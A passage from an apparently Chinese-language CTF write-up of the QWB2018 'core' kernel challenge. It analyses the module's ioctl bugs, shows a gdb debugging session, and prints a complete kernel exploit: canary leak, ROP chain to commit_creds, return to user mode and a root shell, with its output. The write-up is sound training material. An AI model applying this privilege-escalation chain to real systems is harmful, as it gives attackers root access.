    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk("\x016core: %d\n");
      off = a3;
      break;
    case 0x6677889A:
      printk("\x016core: called core_copy\n");
      core_copy_func(a3);
      break;
  }
      core_copy_func(v3);
}

core_read()v4[off] 拷贝 64 个字节到用户空间,但要注意的是全局变量 off 使我们能够控制的,因此可以合理的控制 off 来 leak canary 和一些地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
void __fastcall core_read(__int64 a1)
{
  __int64 v1; // rbx
  char *v2; // rdi
  signed __int64 i; // rcx
  char v4[64]; // [rsp+0h] [rbp-50h]
  unsigned __int64 v5; // [rsp+40h] [rbp-10h]

  v1 = a1;
  v5 = __readgsqword(0x28u);
  printk("\x016core: called core_read\n");
  printk("\x016%d %p\n");
  v2 = v4;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 += 4;
  }
  strcpy(v4, "Welcome to the QWB CTF challenge.\n");
  if ( copy_to_user(v1, &v4[off], 64LL) )
    __asm { swapgs }
}

core_copy_func() 从全局变量 name 中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy 用的是 unsigned __int16,但传递的长度是 signed __int64,因此如果控制传入的长度为 0xffffffffffff0000|(0x100) 等值,就可以栈溢出了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
void __fastcall core_copy_func(signed __int64 a1)
{
  char v1[64]; // [rsp+0h] [rbp-50h]
  unsigned __int64 v2; // [rsp+40h] [rbp-10h]

  v2 = __readgsqword(0x28u);
  printk("\x016core: called core_writen");
  if ( a1 > 63 )
    printk("\x016Detect Overflow");
  else
    qmemcpy(v1, name, (unsigned __int16)a1);    // overflow
}

core_write() 向全局变量 name 上写,这样通过 core_write()core_copy_func() 就可以控制 ropchain 了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v3; // rbx

  v3 = a3;
  printk("\x016core: called core_writen");
  if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
    return (unsigned int)v3;
  printk("\x016core: error copying data from userspacen");
  return 0xFFFFFFF2LL;
}

思路

经过如上的分析,可以得出以下的思路:

  1. 通过 ioctl 设置 off,然后通过 core_read() leak 出 canary
  2. 通过 core_write() 向 name 写,构造 ropchain
  3. 通过 core_copy_func() 从 name 向局部变量上写,通过设置合理的长度和 canary 进行 rop
  4. 通过 rop 执行 commit_creds(prepare_kernel_cred(0))
  5. 返回用户态,通过 system("/bin/sh”) 等起 shell

解释一下:

  • 如何获得 commit_creds(),prepare_kernel_cred() 的地址?

    • /tmp/kallsyms 中保存了这些地址,可以直接读取,同时根据偏移固定也能确定 gadgets 的地址
  • 如何返回用户态?

    • swapgs; iretq,之前说过需要设置 cs, rflags 等信息,可以写一个函数保存这些信息
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    
    // intel flavor assembly
    size_t user_cs, user_ss, user_rflags, user_sp;
    void save_status()
    {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;"
                );
        puts("[*]status has been saved.");
    }
    
    // at&t flavor assembly
    void save_stats() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
        :
        : "memory"
    );
    

} ```

  • Why bother returning to Userspace?
    • Most useful things we want to do are much easier from userland.
    • In KernelSpace, there’s no easy way to:
      • Modify the filesystem
      • Create a new process
      • Create network connections

Exploit

先说一下怎么调试,qemu 内置有 gdb 的接口,通过 help 查看

1
2
3
give_to_player [master●●] qemu-system-x86_64 --help | grep gdb
-gdb dev        wait for gdb connection on 'dev'
-s              shorthand for -gdb tcp::1234

即可以通过 -gdb tcp:port 或者 -s 来开启调试端口,start.sh 中已经有了 -s,不必再自己设置。

另外通过 gdb ./vmlinux 启动时,虽然加载了 kernel 的符号表,但没有加载驱动 core.ko 的符号表,可以通过 add-symbol-file core.ko textaddr 加载

1
2
3
4
5
6
7
pwndbg> help add-symbol-file
Load symbols from FILE, assuming FILE has been dynamically loaded.
Usage: add-symbol-file FILE ADDR [-s <SECT> <SECT_ADDR> -s <SECT> <SECT_ADDR> ...]
ADDR is the starting address of the file's text.
The optional arguments are section-name section-address pairs and
should be specified if the data and bss segments are not contiguous
with the text.  SECT is a section name to be loaded at SECT_ADDR.

.text 段的地址可以通过 /sys/modules/core/section/.text 来查看,查看需要 root 权限,因此为了方便调试,我们再改一下 init

1
2
# setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh

重新打包,这样启动的时候就是 root 权限了。

比如:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
// qemu 内
/ # cat /sys/module/core/sections/.text 
0xffffffffc018b000
......
......

// qemu 外
give_to_player [master●●] gdb ./vmlinux -q
pwndbg: loaded 174 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./vmlinux...(no debugging symbols found)...done.
pwndbg> add-symbol-file ./core.ko 0xffffffffc018b000
add symbol table from file "./core.ko" at
	.text_addr = 0xffffffffc018b000
Reading symbols from ./core.ko...(no debugging symbols found)...done.
pwndbg> b core_read					# 加载了符号表,就可以直接对函数下断点了
Breakpoint 1 at 0xffffffffc018b063
pwndbg> b *(0xffffffffc018b000+0xCC)# 或者根据基地址直接下断点
Breakpoint 2 at 0xffffffffc018b0cc
pwndbg> target remote localhost:1234
Remote debugging using localhost:1234
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
0xffffffffa1e6e7d2 in ?? ()
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0xffffffffa1e6e7d0 ◂— sti     /* 0x2e66001f0fc3f4fb */
 RBX  0xffffffffa2810480 ◂— 0x80000000
 RCX  0x0
 RDX  0x0
 RDI  0x0
 RSI  0x0
 R8   0xffff8f250641bf20 —▸ 0xffffb0f380647960 ◂— 1
 R9   0x0
 R10  0x0
 R11  0x32e
 R12  0xffffffffa2810480 ◂— 0x80000000
 R13  0xffffffffa2810480 ◂— 0x80000000
 R14  0x0
 R15  0x0
 RBP  0x0
 RSP  0xffffffffa2803eb8 —▸ 0xffffffffa16b65a0 ◂— 0xff894cf6894c9feb
 RIP  0xffffffffa1e6e7d2 ◂— ret     /* 0x1f0f2e66001f0fc3 */
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
 ► 0xffffffffa1e6e7d2    ret    <0xffffffffa16b65a0>
    ↓
   0xffffffffa16b65a0    jmp    0xffffffffa16b6541
    ↓
   0xffffffffa16b6541    or     byte ptr ds:[r12 + 2], 0x20
   0xffffffffa16b6548    pushfq
   0xffffffffa16b6549    pop    rax
   0xffffffffa16b654a    test   ah, 2
   0xffffffffa16b654d    je     0xffffffffa16b65e5

   0xffffffffa16b6553    call   0xffffffffa16d4720

   0xffffffffa16b6558    call   0xffffffffa16b6430

   0xffffffffa16b655d    mov    rax, qword ptr [rbx]
   0xffffffffa16b6560    test   al, 8
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp  0xffffffffa2803eb8 —▸ 0xffffffffa16b65a0 ◂— 0xff894cf6894c9feb
01:0008│      0xffffffffa2803ec0 ◂— 0xc2
02:0010│      0xffffffffa2803ec8 —▸ 0xffffffffa2cc4900 ◂— 0xcccccccccccccccc
03:0018│      0xffffffffa2803ed0 —▸ 0xffff8f2506688900 ◂— jb     0xffff8f2506688971 /* 0x65642f3d746f6f72; 'root=/dev/ram' */
04:0020│      0xffffffffa2803ed8 —▸ 0xffffffffa2ccc2c0 ◂— 0xcccccccccccccccc
05:0028│      0xffffffffa2803ee0 ◂— 0x0
... ↓
07:0038│      0xffffffffa2803ef0 —▸ 0xffffffffa16b673a ◂— jmp    0xffffffffa16b6735 /* 0x564190909090f9eb */
pwndbg> c
Continuing.
......
......


// qemu 内
/ # /tmp/exploit
[*]status has been saved.
commit_creds addr: 0xffffffffa169c8e0
vmlinux_base addr: 0xffffffffa1600000
prepare_kernel_cred addr: 0xffffffffa169cce0
[*]set off to 64
[*]read to buf.
......
......

// qemu 外
pwndbg> c
Continuing.
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!

Breakpoint 1, 0xffffffffc018b063 in core_read ()
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0xffffffffc018b15f (core_ioctl) ◂— cmp    esi, 0x6677889b /* 0x48536677889bfe81 */
 RBX  0x7ffee6e56f10 ◂— 0
 RCX  0x0
 RDX  0x7ffee6e56f10 ◂— 0
 RDI  0x7ffee6e56f10 ◂— 0
 RSI  0x6677889b
 R8   0xffff8f25071b38ac ◂— 1
 R9   0x1
 R10  0x0
 R11  0x0
 R12  0xffff8f250540b7a0 ◂— mov    dh, 0x81 /* 0x581b6 */
 R13  0x6677889b
 R14  0x7ffee6e56f10 ◂— 0
 R15  0x0
 RBP  0x7ffee6e56f10 ◂— 0
 RSP  0xffffb0f3800dbe68 —▸ 0xffffffffc018b19b (core_ioctl+60) ◂— 0xc7c748d6894818eb
 RIP  0xffffffffc018b063 (core_read) ◂— push   rbx /* 0x7bc7c748fb894853 */
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
 ► 0xffffffffc018b063 <core_read>       push   rbx
   0xffffffffc018b064 <core_read+1>     mov    rbx, rdi
   0xffffffffc018b067 <core_read+4>     mov    rdi, -0x3fe73f85
   0xffffffffc018b06e <core_read+11>    sub    rsp, 0x48
   0xffffffffc018b072 <core_read+15>    mov    rax, qword ptr gs:[0x28]
   0xffffffffc018b07b <core_read+24>    mov    qword ptr [rsp + 0x40], rax
   0xffffffffc018b080 <core_read+29>    xor    eax, eax
   0xffffffffc018b082 <core_read+31>    call   0xffffffffa16c6845

   0xffffffffc018b087 <core_read+36>    mov    rsi, qword ptr [rip + 0x2b72]
   0xffffffffc018b08e <core_read+43>    mov    rdx, rbx
   0xffffffffc018b091 <core_read+46>    mov    rdi, -0x3fe73f6b
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp  0xffffb0f3800dbe68 —▸ 0xffffffffc018b19b (core_ioctl+60) ◂— 0xc7c748d6894818eb
01:0008│      0xffffb0f3800dbe70 —▸ 0xffff8f25071b3840 ◂— add    qword ptr [r8], rax /* 0x81b6f000014b */
02:0010│      0xffffb0f3800dbe78 —▸ 0xffffffffa17dd6d1 ◂— 0xe824048948df8948
03:0018│      0xffffb0f3800dbe80 ◂— 0x889b
04:0020│      0xffffb0f3800dbe88 —▸ 0xffff8f2507680d00 ◂— 0
05:0028│      0xffffb0f3800dbe90 —▸ 0xffffffffa178ecfa ◂— 0x9e840ffffffdfd3d
06:0030│      0xffffb0f3800dbe98 —▸ 0xffffb0f3800dbe70 —▸ 0xffff8f25071b3840 ◂— add    qword ptr [r8], rax /* 0x81b6f000014b */
07:0038│      0xffffb0f3800dbea0 ◂— 0x10
Breakpoint core_read
pwndbg>

最终 exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
QWB2018_core [master●●] cat exploit.c 
// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell()
{
	if(!getuid())
	{
		system("/bin/sh");
	}
	else
	{
		puts("[*]spawn shell error!");
	}
	exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
/* 
 * give_to_player [master●●] check ./core.ko
   ./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436d
   [*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'
       Arch:     amd64-64-little
       RELRO:    No RELRO
       Stack:    Canary found
       NX:       NX enabled
       PIE:      No PIE (0x0)
*/
size_t vmlinux_base = 0;
size_t find_symbols()
{
	FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
	/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

	if(kallsyms_fd < 0)
	{
		puts("[*]open kallsyms error!");
		exit(0);
	}

	char buf[0x30] = {0};
	while(fgets(buf, 0x30, kallsyms_fd))
	{
		if(commit_creds & prepare_kernel_cred)
			return 0;

		if(strstr(buf, "commit_creds") && !commit_creds)
		{
			/* puts(buf); */
			char hex[20] = {0};
			strncpy(hex, buf, 16);
			/* printf("hex: %s\n", hex); */
			sscanf(hex, "%llx", &commit_creds);
			printf("commit_creds addr: %p\n", commit_creds);
			/*
			 * give_to_player [master●●] bpython
				bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n
				>>> from pwn import *
				>>> vmlinux = ELF("./vmlinux")
				[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli'
				    Arch:     amd64-64-little
				    RELRO:    No RELRO
				    Stack:    Canary found
				    NX:       NX disabled
				    PIE:      No PIE (0xffffffff81000000)
				    RWX:      Has RWX segments
				>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
				'0x9c8e0'
			*/
			vmlinux_base = commit_creds - 0x9c8e0;
			printf("vmlinux_base addr: %p\n", vmlinux_base);
		}

		if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
		{
			/* puts(buf); */
			char hex[20] = {0};
			strncpy(hex, buf, 16);
			sscanf(hex, "%llx", &prepare_kernel_cred);
			printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
			vmlinux_base = prepare_kernel_cred - 0x9cce0;
			/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
		}
	}

	if(!(prepare_kernel_cred & commit_creds))
	{
		puts("[*]Error!");
		exit(0);
	}

}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
	__asm__("mov user_cs, cs;"
			"mov user_ss, ss;"
			"mov user_sp, rsp;"
			"pushf;"
			"pop user_rflags;"
			);
	puts("[*]status has been saved.");
}

void set_off(int fd, long long idx)
{
	printf("[*]set off to %ld\n", idx);
	ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
	puts("[*]read to buf.");
	ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
	printf("[*]copy from user with size: %ld\n", size);
	ioctl(fd, 0x6677889A, size);
}

int main()
{
	save_status();
	int fd = open("/proc/core", 2);
	if(fd < 0)
	{
		puts("[*]open /proc/core error!");
		exit(0);
	}
	
	find_symbols();
	// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
	ssize_t offset = vmlinux_base - raw_vmlinux_base;

	set_off(fd, 0x40);

	char buf[0x40] = {0};
	core_read(fd, buf);
	size_t canary = ((size_t *)buf)[0];
	printf("[+]canary: %p\n", canary);

	size_t rop[0x1000] = {0};

	int i;
	for(i = 0; i < 10; i++)
	{
		rop[i] = canary;
	}
	rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
	rop[i++] = 0;
	rop[i++] = prepare_kernel_cred;			// prepare_kernel_cred(0)

	rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
	rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
	rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; 
	rop[i++] = commit_creds;
	
	rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
	rop[i++] = 0;

	rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 

	rop[i++] = (size_t)spawn_shell;			// rip 
	
	rop[i++] = user_cs;
	rop[i++] = user_rflags;
	rop[i++] = user_sp;
	rop[i++] = user_ss;

	write(fd, rop, 0x800);
	core_copy_func(fd, 0xffffffffffff0000 | (0x100));

	return 0;
}

get root shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
QWB2018_core [master●●] gcc exploit.c -static -masm=intel -g -o exploit // 如果使用 intel 汇编需要加上 -masm=intel 
QWB2018_core [master●●] cp exploit give_to_player/core/tmp
cp:是否覆盖'give_to_player/core/tmp/exploit'? y
QWB2018_core [master●●] cd give_to_player/core
core [master●●] ./gen_cpio.sh core.cpio
.
./usr
./usr/sbin
......
......

core [master●●] mv core.cpio ..
mv:是否覆盖'../core.cpio'? y
core [master●●] cd ..
give_to_player [master●●] ./start.sh

/ $ ls /tmp/
exploit   kallsyms
/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ /tmp/exploit
[*]status has been saved.
commit_creds addr: 0xffffffffbd09c8e0
vmlinux_base addr: 0xffffffffbd000000
prepare_kernel_cred addr: 0xffffffffbd09cce0
[*]set off to 64
[*]read to buf.
[+]canary: 0x6be486f377bb8600
[*]copy from user with size: -65280
/ # id
uid=0(root) gid=0(root)

当然这个题目也有其他做法,下篇再分析。

Reference and Thanks to

Linux Manual Pages

https://zh.wikipedia.org/wiki/内核

https://zh.wikipedia.org/wiki/分级保护域

https://www.anquanke.com/post/id/86490

https://zh.wikipedia.org/wiki/Ioctl

http://www.freebuf.com/articles/system/54263.html

https://blog.csdn.net/zqixiao_09/article/details/50839042

https://bbs.pediy.com/thread-247054.htm

https://yq.aliyun.com/articles/53679

https://whereisk0shl.top/NCSTISC%20Linux%20Kernel%20pwn450%20writeup.html

https://code.woboq.org/linux/linux/include/linux/cred.h.html#cred

https://elixir.bootlin.com/linux/v4.4.72/source/include/linux/cred.h#L118

http://muhe.live/2017/07/13/babydriver-writeup/

https://xz.aliyun.com/t/2306

https://unix.stackexchange.com/questions/5518/what-is-the-difference-between-the-following-kernel-makefile-terms-vmlinux-vml

https://blog.csdn.net/gatieme/article/details/78311841

https://veritas501.space/2018/06/05/qwb2018%20core/

http://blog.vmsplice.net/2011/09/how-to-share-files-instantly-between.html